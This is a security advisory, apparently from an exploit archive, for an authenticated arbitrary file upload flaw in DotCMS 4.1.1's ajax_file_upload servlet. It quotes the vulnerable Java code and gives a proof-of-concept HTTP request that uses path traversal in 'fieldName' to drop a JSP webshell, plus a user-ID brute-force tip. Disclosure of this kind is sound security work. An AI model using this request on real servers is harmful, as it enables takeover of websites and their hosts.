DotCMS 4.1.1 Shell Upload

2017-07-19 / 2017-07-21
Credit: M3@pandas
Risk: High
Local: No
Remote: No
CWE: CWE-264


CVSS Base Score: 9/10
Impact Subscore: 10/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

========================== Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability Author: M3@pandas From DBAppSecurity Security Lab Email: xiaotian.wang@dbappsecurity.com.cn Affected Version: 4.1.1 the latest version ========================== Vulnerability Description ========================== Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies. Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class: private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response) throws IOException { String fieldName = null; AjaxFileUploadListener listener = null; try { String fileName = ""; listener = new AjaxFileUploadListener(request.getContentLength()); FileItemFactory factory = new MonitoredDiskFileItemFactory(listener); fieldName = request.getParameter("fieldName"); Enumeration params = request.getParameterNames(); session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats()); ServletFileUpload upload = new ServletFileUpload(factory); List items = upload.parseRequest(request); boolean hasError = false; this.isEmptyFile = false; String userId = null; if (UtilMethods.isSet(session.getAttribute("USER_ID"))) { userId = (String)session.getAttribute("USER_ID"); User user = UserLocalManagerUtil.getUserById(userId); if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) { throw new Exception("Could not upload File. Invalid User"); } } else { throw new Exception("Could not upload File. Invalid User"); } for (Iterator i = items.iterator(); i.hasNext();) { FileItem fileItem = (FileItem)i.next(); if (!fileItem.isFormField()) { if (fileItem.getSize() == 0L) { this.isEmptyFile = true; } if (fileItem.getName().contains(File.separator)) { fileName = fileItem.getName().substring(fileItem .getName().lastIndexOf(File.separator) + 1); } else { fileName = fileItem.getName(); } fileName = ContentletUtil.sanitizeFileName(fileName); File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName); if (!isValidPath(tempUserFolder.getCanonicalPath())) { throw new IOException("Invalid fileName or Path"); } if (!tempUserFolder.exists()) { tempUserFolder.mkdirs(); } File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName); if (dest.exists()) { dest.delete(); } fileItem.write(dest); fileItem.delete(); } } if (this.isEmptyFile) { fileName = ""; } if (!hasError) { sendCompleteResponse(response, null); } else { sendCompleteResponse(response, "Could not process uploaded file. Please see log for details."); } } catch (Exception e) { listener.error("error"); session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats()); sendCompleteResponse(response, e.getMessage()); e.printStackTrace(); } } tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-definedi1/4so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server. ========================== POC && EXP ========================== 1. Login as administrator 2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1 Host: 192.168.1.204:8080 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=--------1234995635 Cookie: your own cookies Connection: close Content-Length: 138 ----------1234995635 Content-Disposition: form-data; name="xxx"; filename="test.jsp" <% out.print("test_for_fun!");%> ----------1234995635-- 3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .


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